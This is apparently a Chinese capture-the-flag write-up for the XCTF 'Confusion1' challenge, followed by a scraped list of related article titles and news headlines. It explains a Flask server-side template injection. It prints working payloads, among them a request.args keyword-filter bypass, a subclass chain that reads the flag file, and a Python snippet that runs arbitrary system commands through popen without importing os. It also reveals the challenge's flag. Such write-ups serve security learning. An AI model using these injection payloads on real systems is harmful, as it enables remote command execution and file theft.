当前位置: 首页 > news >正文

攻防世界 - Web - Level 4 | Confusion1

🌟 关注这个靶场的其它相关笔记:CTF 靶场笔记 —— 攻防世界(XCTF)· 过关思路合集

0x01:考点速览

本关考察的是 Python Flask 的 SSTI 模板注入漏洞,需要掌握以下技巧方可过关:

  • Python Flask SSTI 模板注入漏洞 -> {{x}} 里的代码会执行

  • Python 不导入 os 包,照样执行系统命令

  • SSTI 关键字绕过:{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__

0x02:WriteUP

进入靶场,是一只蛇缠绕着一只大象(Python & PHP):

随便点点,发现除了 Home 页面,Login,Register 都是会报错的,不过,也有意外收获:

通过查看页面源码,我们成功获得了 Flag 文件的保存路径,备注中还有一个叫 Salt 文件的,暂时不知道有啥用。

仔细观察页面回显的报错信息,The requested URL /login.php was not found on this server. 它报错的太全了,连你访问的路径都报出来了。如果你再仔细看看响应包,会从中找出两套 Server,一套是 Python 一套是 PHP:

结合一下题目的提示,很明显本次考察的是 Python 的 SSTI 漏洞,在 SSTI 模板注入漏洞中,{{x}} 中的内容会被后端执行,如下:

http://61.147.171.105:61016/login.php{{7*7}}

输出了 /49,说明我们的 7*7 被自动执行运算了。既然能执行运算,那其他代码,不也就可以咯。

好的,下面的问题是怎么构造 Payload 能进行读取文件,或者直接执行系统命令。这个需要一点 Python 基础,下面给一个循循善诱的例子,实验环境是 Kali 系统,Python 版本为 2.7.18:

# __class__ 获取当前对象所属的类
print("a".__class__)  # 输出:<type 'str'># __mro__ 获取当前类的继承顺序
print("a".__class__.__mro__)  # 输出:(<type 'str'>, <type 'basestring'>, <type 'object'>)   -> str 类继承自 basestring 类,basestring 类继承自 object 类# __subclasses__() 获取当前类的子类集合
print("a".__class__.__mro__[2].__subclasses__())  # 输出:[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, ......, <class 'codecs.IncrementalDecoder'>] -> 太多了就不全部列出来了,毕竟是 Object 的子类# Python2 的 Object 类的子类中有一个类型为 file 的可以进行文件的读取,找一下它的位置
print([(index, i) for index, i in enumerate("a".__class__.__mro__[2].__subclasses__()) if "file" in str(i)])    # 输出:[(40, <type 'file'>)]  -> 该类的下标为 40
# 使用 <type 'file'> 读取一个文件
print("a".__class__.__mro__[2].__subclasses__()[40])                    # 输出:<type 'file'>
print("a".__class__.__mro__[2].__subclasses__()[40]("flag.txt"))        # 输出:<open file 'flag.txt', mode 'r' at 0x7fa5b0770ae0>
print("a".__class__.__mro__[2].__subclasses__()[40]("flag.txt").read()) # 输出:'Welcome to my blog\xef\xbc\x81\n'     -> 调用 read() 方法显示具体内容
# 提示:"a".__class__.__mro__[2].__subclasses__()[40] 其实等价于调用 file 函数# 拓展:在 Python3 中,我们执行系统命令需要 import os 包,那么有没有办法,不导包,就直接执行系统命令?(在 Python 3.9 的环境里运行试试)
if __name__ == "__main__":file_path = input("请输入待读取的文件路径:")print("a".__class__.__bases__[0].__subclasses__()[[str(i) for i in "a".__class__.__bases__[0].__subclasses__()].index("<class 'os._wrap_close'>")].__init__.__globals__['__builtins__']['open'](file_path).read())exec_code = input("请输入待执行的系统命令:")print("a".__class__.__bases__[0].__subclasses__()[[str(i) for i in "a".__class__.__bases__[0].__subclasses__()].index("<class 'os._wrap_close'>")].__init__.__globals__['popen'](exec_code).read())

OK,知道了基础,下面我们就是往 {{}} 里填入代码了,我们先慢慢测,使用 {{''.__class__}} 查看一下返回结果:

叫我们 Find another way,看来是有敏感字符被过滤了,先测试一下哪个字符被过滤了:

{{''}}          -> 未报错
{{''.}}         -> 未报错
{{__class__}}   -> Nope! Find another way.

看来是敏感字符被过滤了,绕过方法如下:

{{''.__class__}} <-> {{''[request.args.a]}}?a=__class__

页面成功返回执行后的结果,看来我们成功绕过了对方的 WAF。我们的目的是要读取 Flag 文件,在上面的例子中,我已经给出了 Python 2 的读取文件的方法,这里就直接写我的测试过程了:

Payload 模板:''.__class__.__mro__[Object 类的位置].__subclasses__()[Type file 的位置]("flag 文件位置").read()
已知 flag_path: <!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->Test01: {{''[request.args.a]}}?a=__class__
return <type 'str'>Test02: {{''[request.args.a][request.args.b]}}?a=__class__&b=__mro__
return (<type 'str'>, <type 'basestring'>, <type 'object'>)Test03: {{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
return [<type 'type'>, <type 'weakref'>, ..... <type 'method-wrapper'>]从 Test03 测试下来的 Object 的子类中找到 file 类型的位置 -> 40Test04: {{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__
return <open file '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt', mode 'r' at 0x7f3a11b6b780>Test05: {{''[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
return cyberpeace{e34001b5f6187ce5a51a6b7ebc803adc}

相关文章:

  • HTTP协议:原理、应用与python实践
  • MySQL事务隔离级别详解
  • GD32F407单片机开发入门(二十二)红外避障传感器模块实战含源码
  • 深⼊理解指针(8)
  • 解决 Oracle EXPDP 無法鎖定 NFS 相關錯誤: ORA-27086 flock: No locks available
  • HTTP知识速通
  • Python 函数装饰器和闭包(装饰器基础知识)
  • 文献阅读篇#5:5月一区好文阅读,BFA-YOLO,用于建筑信息建模!(上)
  • 新一代机载相控阵雷达的发展
  • 「Mac畅玩AIGC与多模态12」开发篇08 - 使用自定义汇率查询插件开发智能体应用
  • 【 Node.js】 Node.js安装
  • Java 期中考试练习题
  • 【速写】prune与activate
  • 解决Win10虚拟机“网络连接不上”,“Ethernet0 网络电缆被拔出”的问题
  • PB的框架advgui反编译后控件无法绘制的处理(即导入pbx的操作步骤)
  • 【漫话机器学习系列】234.阈值类特征的方差分析(Thresholding Categorical Feature Variance)
  • 分布式锁的几种实现
  • 【MySQL数据库】视图
  • ESP-ADF esp_dispatcher组件之audio_service子模块连接管理函数详解
  • 艾尔登法环最新3000+MOD大型整合包 5月最新更新
  • 李在明涉嫌违反《公职选举法》案将于15日进行首次重审公审
  • 韩代总统李周浩履职
  • 辽宁省全力开展辽阳一饭店火灾事故救援处置工作
  • 阿里开源首个“混合推理模型”:集成“快思考”、“慢思考”能力
  • 澎湃回声|山东莱州、潍坊对“三无”拖拉机产销市场展开调查排查
  • 对话|贝聿铭设计的不只是建筑,更是生活空间